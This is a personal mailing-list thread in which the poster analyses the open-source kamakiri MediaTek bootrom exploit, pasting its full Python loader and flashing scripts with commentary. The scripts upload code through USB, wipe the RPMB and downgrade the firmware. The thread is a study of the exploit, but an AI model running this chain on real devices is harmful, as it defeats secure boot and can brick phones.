[ot][spam][personal] uhhh should I understand the exploits my new phone is vulnerable to
oh ha this new unihertz titan is based on a mediatek chipset line that has been thoroughly exploited in multiple ways to bypass its security. the exploits appear to be open source. they are made by human beings who can be talked with. mediatek chips are apparently arm. the author of mtkclient has an exploitation playground repository at https://github.com/bkerler/exploit_me . i'm not sure what it is, but maybe a vulnerable binary so that people can learn how to build exploits to phones by reading their firmware? I'm actually not sure. the most prominent exploit for these devices is called kamakiri, the source code for which is at https://github.com/amonet-kamakiri/kamakiri . I don't know whether it's relevent for my phone or not. bkerler's mediatek client at https://github.com/bkerler/mtkclient has a number of additional command codes in it, many copied from the work of preceding developers, showing how to do useful things like reading and writing ram and emmc without the download agent (I think, not certain). this developer also has a qualcomm client they have made. i'd like to try to figure out what kamakiri does, and basically if any of these exploits are relevent for my phone. ideally i'd like to learn what is necessary or if it is possible to lock down my phone to prevent mutation of it or of firmware dumps I download from it.
note: looking at comments on some of these repos, it's clear that when hackers make this stuff it is generally taken by corps and copied into commercial hacking software. the project that had that comment used an mit license and shared their work on xda-developers.
2022-05-06 what I know regarding kamakiri so far: - mediatek uses arm chips - the uses of kamakiri choose to speak raw USB, rather than serial - it's one of a handful of similar things - it's used to disable boot rom protections in the phone - code is uploaded to the phone and executed while it is connected in preloader mode. 1032 it's hard for me to pursue this. i'm mostly right now having some downtime while the bkerler client installs dependencies over my 5K/sec tether. when that works out I might switch focus to seeing if I can stabilise the open source OS. 1034 i've cloned the bkerler sources and the amonet-kamakiri sources. amonet has three subfolders: brom-payload, lk-payload, and microloader. it also has a kernel patch that short circuits some usb checks. the brom payload has two stages and some library files. stage1 looks like a simple daemon that can perform serial commands similar to the factory preloader. it uses a magic command prefix of 0xf00dd00d. the boot rom stage calls a handful of functions that are given by opaque hardcoded pointer addresses: jump_bl() = 0xB673 send_usb_response(int,int,int) = 0x55BB ptr_send() = *0x103088 // these might be hooked ptr_recv() = *0x103084 send_dword(int) = 0xBE09 int recv_dword() = 0xBDD5 send_data(addr,sz) = 0xBED1 int recv_data(addr,sz,flags=0) = 0xBE4B all commands for stage1 and possible behavior: 0x4000: write data to address. replies with 0xD0D0D0D0 for success and 0xF0F0F0F0 for failure. uses recv_data 0x4001: jump to address 0x3000: reboot writes some hardcoded values to volatile registers at 0x10007000 0x3001: kick watchdog writes 0x1971 to a specific 32 bit register In the case of a protocol error it stops listening for commands and enters an infinite busy loop. stage2 payload also has a command loop with the same magic prefix. the stage2 payload appears to have a parallel informative output stream for printf, separate from the serial. haven't looked. 0x1000: read mmc block at address 0x1001: write mmc block at address. blocksize is 0x200 . replies 0xD0D0D0D0 on success. 0x1002: set mmc partition as a dword 0x2000: read mmc rpmb. 0x100 bytes. 0x2001: write 0x100 bytes to mmc rpmb. 0x5000: read size data from ram address. 0x3000: reboot. writes to same registers. one of them is the watchdog kick. 0x3001: kick watchdog only. stage2 has the same behavior of busylooping forever for a protocol mismatch (0xf00dd00d not read when expected) that's cool! my mtkclient install failed to an sha256 mismatch.
I'm not near this system and phone at this time, but that doesn't mean I can't keep learning about it. Here's the deployment script for the bootrom phase from the amonet kamakiri source: #!/usr/bin/env python3 import sys import time from common import Device from logger import log from load_payload import load_payload from functions import * import usb.core import usb.util import ctypes import traceback import struct import os def main(dev): load_payload(dev) if len(sys.argv) == 2 and sys.argv[1] == "fixgpt": dev.emmc_switch(0) log("Flashing GPT") flash_binary(dev, "../bin/gpt-mantis.bin", 0, 34 * 0x200) # 1) Sanity check GPT log("Check GPT") switch_user(dev) # 1.1) Parse gpt gpt = parse_gpt(dev) log("gpt_parsed = {}".format(gpt)) if "lk" not in gpt or "tee1" not in gpt or "boot" not in gpt or "recovery" not in gpt: raise RuntimeError("bad gpt") # 2) Sanity check boot0 log("Check boot0") switch_boot0(dev) # 3) Sanity check rpmb log("Check rpmb") rpmb = dev.rpmb_read() if rpmb[0:4] != b"AMZN": thread = UserInputThread(msg = "rpmb looks broken; if this is expected (i.e. you're retrying the exploit) press enter, otherwise terminate with Ctrl+C") thread.start() while not thread.done: dev.kick_watchdog() time.sleep(1) # Clear preloader so, we get into bootrom without shorting, should the script stall (we flash preloader as last step) # 4) Downgrade preloader log("Clear preloader header") switch_boot0(dev) flash_data(dev, b"EMMC_BOOT" + b"\x00" * ((0x200 * 4) - 9), 0) # 5) Zero out rpmb to enable downgrade log("Downgrade rpmb") dev.rpmb_write(b"\x00" * 0x100) log("Recheck rpmb") rpmb = dev.rpmb_read() if rpmb != b"\x00" * 0x100: dev.reboot() raise RuntimeError("downgrade failure, giving up") log("rpmb downgrade ok") dev.kick_watchdog() # 6) Downgrade tz log("Flash tz") switch_user(dev) flash_binary(dev, "../bin/tz.img", gpt["tee1"][0], gpt["tee1"][1] * 0x200) # 7) Downgrade lk log("Flash lk") switch_user(dev) flash_binary(dev, "../bin/lk.bin", gpt["lk"][0], gpt["lk"][1] * 0x200) # 6) Install lk-payload log("Flash lk-payload") switch_boot0(dev) flash_binary(dev, "../lk-payload/build/payload.bin", 1024) # 8) Flash microloader log("Inject microloader") switch_user(dev) boot_hdr1 = dev.emmc_read(gpt["boot"][0]) + dev.emmc_read(gpt["boot"][0] + 1) boot_hdr2 = dev.emmc_read(gpt["boot"][0] + 2) + dev.emmc_read(gpt["boot"][0] + 3) flash_binary(dev, "../bin/microloader.bin", gpt["boot"][0], 2 * 0x200) if boot_hdr2[0:8] != b"ANDROID!": flash_data(dev, boot_hdr1, gpt["boot"][0] + 2, 2 * 0x200) log("Force fastboot") force_fastboot(dev, gpt) # 9) Install preloader log("Flash preloader") switch_boot0(dev) flash_binary(dev, "../bin/preloader.img", 0) # 9.1) Wait some time so data is flushed to EMMC time.sleep(5) # Reboot (to fastboot or recovery) log("Reboot") dev.reboot() if __name__ == "__main__": check_modemmanager() dev = Device() dev.find_device() main(dev)
here's load_payload it calls at the start of the main function: #!/usr/bin/env python3 import sys import time from common import Device from logger import log from functions import UserInputThread, check_modemmanager import usb.core import usb.util import struct import os def p32(x): return struct.pack(">I", x) def load_payload_file(path): with open(path, "rb") as fin: payload = fin.read() log("Load payload from {} = 0x{:X} bytes".format(path, len(payload))) while len(payload) % 4 != 0: payload += b"\x00" return payload def attempt2(d): d.write(b"\xE0") result = d.read(1) d.write(p32(0xA00)) result = d.read(4) payload = load_payload_file("../brom-payload/stage1/stage1.bin") if len(payload) >= 0xA00: raise RuntimeError("payload too large") d.write(payload) def noop(*args, **kwargs): pass def load_payload(dev): log("Handshake") dev.handshake() log("Disable watchdog") dev.write32(0x10007000, 0x22000000) thread = UserInputThread() thread.start() while not thread.done: dev.write32(0x10007008, 0x1971) # low-level watchdog kick time.sleep(1) d = dev.dev addr = 0x10007050 result = dev.read32(addr) dev.write32(addr, [0xA1000]) # 00 10 0A 00 result = dev.read32(addr) readl = 0x24 result = dev.read32(addr - 0x20, readl//4) dev.write32(addr, 0) attempt2(d) udev = usb.core.find(idVendor=0x0e8d, idProduct=0x3) udev._ctx.managed_claim_interface = noop log("Let's rock") try: udev.ctrl_transfer(0xA1, 0, 0, 10, 0) except usb.core.USBError as e: print(e) # clear 2 more bytes d.read(2) log("Waiting for stage 1 to come online...") data = d.read(4) if data != b"\xA1\xA2\xA3\xA4": raise RuntimeError("received {} instead of expected pattern".format(data)) dev.kick_watchdog() log("All good") log("Load 2nd stage payload") stage2=load_payload_file("../brom-payload/stage2/stage2.bin") log("Send 2nd stage payload") # magic d.write(p32(0xf00dd00d)) # cmd d.write(p32(0x4000)) # address to write d.write(p32(0x201000)) # length d.write(p32(len(stage2))) # data d.write(stage2) code = d.read(4) if code != b"\xd0\xd0\xd0\xd0": raise RuntimeError("device failure") dev.kick_watchdog() log("Party time") # magic d.write(p32(0xf00dd00d)) # cmd d.write(p32(0x4001)) # address to write d.write(p32(0x201000)) log("Waiting for stage 2 to come online...") data = d.read(4) if data != b"\xB1\xB2\xB3\xB4": raise RuntimeError("received {} instead of expected pattern".format(data)) log("All good") dev.kick_watchdog() if __name__ == "__main__": check_modemmanager() if len(sys.argv) > 1: dev = Device(sys.argv[1]) else: dev = Device() dev.find_device() load_payload(dev)
the device class is likely at https://github.com/amonet-kamakiri/kamakiri/blob/master/modules/common.py . it's okay to paste it in I believe. a cursory glance and I notice the code is downgrading the firmware. this would work since older versions have the same signature. an interesting problem present in all instances of signed bootware, probably resolvable by protocol improvements, like tiers of fuses or something.
On Sat, May 7, 2022, 3:02 AM Undiscussed Horrific Abuse, One Victim of Many <gmkarl@gmail.com> wrote:
here's load_payload it calls at the start of the main function:
#!/usr/bin/env python3 import sys import time
from common import Device from logger import log from functions import UserInputThread, check_modemmanager
import usb.core import usb.util
import struct import os
def p32(x): return struct.pack(">I", x)
def load_payload_file(path): with open(path, "rb") as fin: payload = fin.read() log("Load payload from {} = 0x{:X} bytes".format(path, len(payload))) while len(payload) % 4 != 0: payload += b"\x00"
return payload
def attempt2(d): d.write(b"\xE0") result = d.read(1) d.write(p32(0xA00)) result = d.read(4)
payload = load_payload_file("../brom-payload/stage1/stage1.bin")
if len(payload) >= 0xA00: raise RuntimeError("payload too large")
d.write(payload)
attempt2() appears to be where the payload is uploaded. it's strange the command is hardcoded here, rather than encapsulated into the Device class, and it implies the dev published their work soon after it functioned, without fully cleaning it up. E0 appears to be a special command that takes a size and data. We can infer the data is then executed somehow.
def noop(*args, **kwargs): pass
def load_payload(dev): log("Handshake") dev.handshake()
This is the same handshake I was doing. log("Disable watchdog")
dev.write32(0x10007000, 0x22000000)
It turns out arbitrary RAM reads and writes can be made with normal commands. These high addresses were registers, I believe.
thread = UserInputThread() thread.start()
while not thread.done:
dev.write32(0x10007008, 0x1971) # low-level watchdog kick time.sleep(1)
This process is at https://github.com/amonet-kamakiri/kamakiri/blob/master/modules/functions.py . It tells the user that if they have shorted their hardware, it is time to remove the short, and waits for them to press enter to continue. The thread is likely because the wait is done by a blocking read on stdin.
d = dev.dev
addr = 0x10007050 result = dev.read32(addr) dev.write32(addr, [0xA1000]) # 00 10 0A 00 result = dev.read32(addr)
Writes to a 32 bit register. The trailing two bytes are the length of the payload, could be a coincidence.
readl = 0x24 result = dev.read32(addr - 0x20, readl//4)
Maybe debugging cruft to read registers. Or, the reading could trigger something.
dev.write32(addr, 0)
Clears the register after writing it.
attempt2(d)
Uploads the brom payload using a normal-looking command. The upload did not verify that the length did not underrun, which seems strange to me. udev = usb.core.find(idVendor=0x0e8d, idProduct=0x3)
udev._ctx.managed_claim_interface = noop
log("Let's rock") try: udev.ctrl_transfer(0xA1, 0, 0, 10, 0)
Okay, so it's sending control data to the USB device here. I think the device was usb_acm? i'm not immediately finding information on request 0xa1, if that is request field. a next step here might be to look at the interface for ctrl_transfer and see what the parameters are, then either check a usb log or look for information on the mediatek usb interface. except usb.core.USBError as e:
print(e)
# clear 2 more bytes d.read(2)
This skips 2 bytes in the serial stream. The protocol appears to sometimes send 2 byte status confirmations.
log("Waiting for stage 1 to come online...")
data = d.read(4) if data != b"\xA1\xA2\xA3\xA4": raise RuntimeError("received {} instead of expected pattern".format(data))
This is now interfacing with the boot rom payload. I'm guessing the purpose of these payloads is to read and write data without checks that are present in the factory firmware, but I don't know.
dev.kick_watchdog()
log("All good")
log("Load 2nd stage payload") stage2=load_payload_file("../brom-payload/stage2/stage2.bin")
log("Send 2nd stage payload") # magic d.write(p32(0xf00dd00d)) # cmd d.write(p32(0x4000)) # address to write d.write(p32(0x201000)) # length d.write(p32(len(stage2))) # data d.write(stage2)
code = d.read(4) if code != b"\xd0\xd0\xd0\xd0": raise RuntimeError("device failure")
dev.kick_watchdog()
All it did was write the data into ram at address 0x201000 . These functions not being encapsulated into a class possibly shows how small and quick this part is considered, maybe not helpful information, unsure. log("Party time")
# magic d.write(p32(0xf00dd00d)) # cmd d.write(p32(0x4001)) # address to write d.write(p32(0x201000))
This jumps to the address. It seems the reason for two payloads is that there is a size limitation on the code used to upload the first one. The dev wanted more features than fit within that size.
log("Waiting for stage 2 to come online...")
data = d.read(4) if data != b"\xB1\xB2\xB3\xB4": raise RuntimeError("received {} instead of expected pattern".format(data))
log("All good")
dev.kick_watchdog()
That's that. The purpose of this code is to replace the behavior of the device with new behavior: to provide a custom download agent for further steps to use. It uses a command code E0 to do this, which is followed by a short control transfer to the usb device, the nature of which I haven't identified. It's somewhat reasonable to summarise the E0 + control transfer as a hack that executes up to 0xa00 bytes of uploaded code. The user interfacing implies the device may be booted with some pins shorted to facilitate this. This may be the kamakiri hack, but it seems worthwhile glancing in other areas to understand better.
if __name__ == "__main__":
check_modemmanager()
if len(sys.argv) > 1: dev = Device(sys.argv[1]) else: dev = Device() dev.find_device()
load_payload(dev)
On Sat, May 7, 2022, 3:01 AM Undiscussed Horrific Abuse, One Victim of Many <gmkarl@gmail.com> wrote:
I'm not near this system and phone at this time, but that doesn't mean I can't keep learning about it.
Here's the deployment script for the bootrom phase from the amonet kamakiri source:
#!/usr/bin/env python3
import sys import time
from common import Device from logger import log from load_payload import load_payload from functions import *
import usb.core import usb.util
import ctypes
import traceback
import struct import os
def main(dev):
load_payload(dev)
This uses a hack to get the 0xf00dd00d payload running on the device, roughly by uploading the stages and jumping to their addresses. The first stage involves some register and usb twiddling, and is size-limited; it may be an exploit, unsure. if len(sys.argv) == 2 and sys.argv[1] == "fixgpt":
dev.emmc_switch(0) log("Flashing GPT") flash_binary(dev, "../bin/gpt-mantis.bin", 0, 34 * 0x200)
This likely replaces the partition table if requested. I don't see the gpt-mantis.bin file in the repository yet. That size of 0x34 x 0x200 ... I've seen that before I think?
# 1) Sanity check GPT log("Check GPT") switch_user(dev)
This switches the device to partition 0 and verifies two expected bytes in that partition.
# 1.1) Parse gpt gpt = parse_gpt(dev)
def parse_gpt(dev): data = dev.emmc_read(0x400 // 0x200) + dev.emmc_read(0x600 // 0x200) + dev.emmc_read(0x800 // 0x200) + dev.emmc_read(0xA00 // 0x200) num = len(data) // 0x80 parts = dict() for x in range(num): part = data[x * 0x80:(x + 1) * 0x80] part_name = part[0x38:].decode("utf-16le").rstrip("\x00") part_start = struct.unpack("<Q", part[0x20:0x28])[0] part_end = struct.unpack("<Q", part[0x28:0x30])[0] parts[part_name] = (part_start, part_end - part_start + 1) return parts I'm guessing that partition 0 is either the partition table or the entire flash, and that the above code manually parses a GPT partition table (into a python dict of offset size pairs). log("gpt_parsed = {}".format(gpt))
if "lk" not in gpt or "tee1" not in gpt or "boot" not in gpt or "recovery" not in gpt: raise RuntimeError("bad gpt")
# 2) Sanity check boot0 log("Check boot0") switch_boot0(dev)
This switches to partition 1 and verifies that it starts with either "EMMC_BOOT" or nul bytes.
# 3) Sanity check rpmb log("Check rpmb") rpmb = dev.rpmb_read() if rpmb[0:4] != b"AMZN": thread = UserInputThread(msg = "rpmb looks broken; if this is expected (i.e. you're retrying the exploit) press enter, otherwise terminate with Ctrl+C") thread.start() while not thread.done: dev.kick_watchdog() time.sleep(1)
I'm not sure what rpmb is, immediately.
# Clear preloader so, we get into bootrom without shorting, should the script stall (we flash preloader as last step) # 4) Downgrade preloader log("Clear preloader header") switch_boot0(dev) flash_data(dev, b"EMMC_BOOT" + b"\x00" * ((0x200 * 4) - 9), 0)
Places null bytes in partition 1.
# 5) Zero out rpmb to enable downgrade log("Downgrade rpmb") dev.rpmb_write(b"\x00" * 0x100)
Whatever the rpmb is, this zeros it. log("Recheck rpmb")
rpmb = dev.rpmb_read() if rpmb != b"\x00" * 0x100: dev.reboot() raise RuntimeError("downgrade failure, giving up") log("rpmb downgrade ok") dev.kick_watchdog()
# 6) Downgrade tz log("Flash tz") switch_user(dev) flash_binary(dev, "../bin/tz.img", gpt["tee1"][0], gpt["tee1"][1] * 0x200)
Okay, it sounds like partition 0 is not the partition table, but rather partition "tz" .... I don't yet understand why it seems to read as if the GPT table was parsed 0x400 bytes after the start of the tz partition. Could the GPT table be located at the end or inside of a partition? Ohhhh I see -- gpt["tee1"] stores the offset of the tee1 partition. The partitions are flashed relative to the start of the emmc.
# 7) Downgrade lk log("Flash lk") switch_user(dev) flash_binary(dev, "../bin/lk.bin", gpt["lk"][0], gpt["lk"][1] * 0x200)
So this code replaces two partitions with binary images. Maybe user-provided old ones, unsure. # 6) Install lk-payload
log("Flash lk-payload") switch_boot0(dev) flash_binary(dev, "../lk-payload/build/payload.bin", 1024)
And here's the next payload, contents not reviewed yet. It's interesting that this is flashed at offset 1024 rather than the offset of the actual lk partition. I think is bytes rather than 0x200 sectors, not sure. ...
# 8) Flash microloader log("Inject microloader") switch_user(dev) boot_hdr1 = dev.emmc_read(gpt["boot"][0]) + dev.emmc_read(gpt["boot"][0] + 1) boot_hdr2 = dev.emmc_read(gpt["boot"][0] + 2) + dev.emmc_read(gpt["boot"][0] + 3) flash_binary(dev, "../bin/microloader.bin", gpt["boot"][0], 2 * 0x200) if boot_hdr2[0:8] != b"ANDROID!": flash_data(dev, boot_hdr1, gpt["boot"][0] + 2, 2 * 0x200)
log("Force fastboot") force_fastboot(dev, gpt)
# 9) Install preloader log("Flash preloader") switch_boot0(dev) flash_binary(dev, "../bin/preloader.img", 0)
# 9.1) Wait some time so data is flushed to EMMC time.sleep(5)
# Reboot (to fastboot or recovery) log("Reboot") dev.reboot()
if __name__ == "__main__":
check_modemmanager()
dev = Device() dev.find_device()
main(dev)
participants (1)
-
Undiscussed Horrific Abuse, One Victim of Many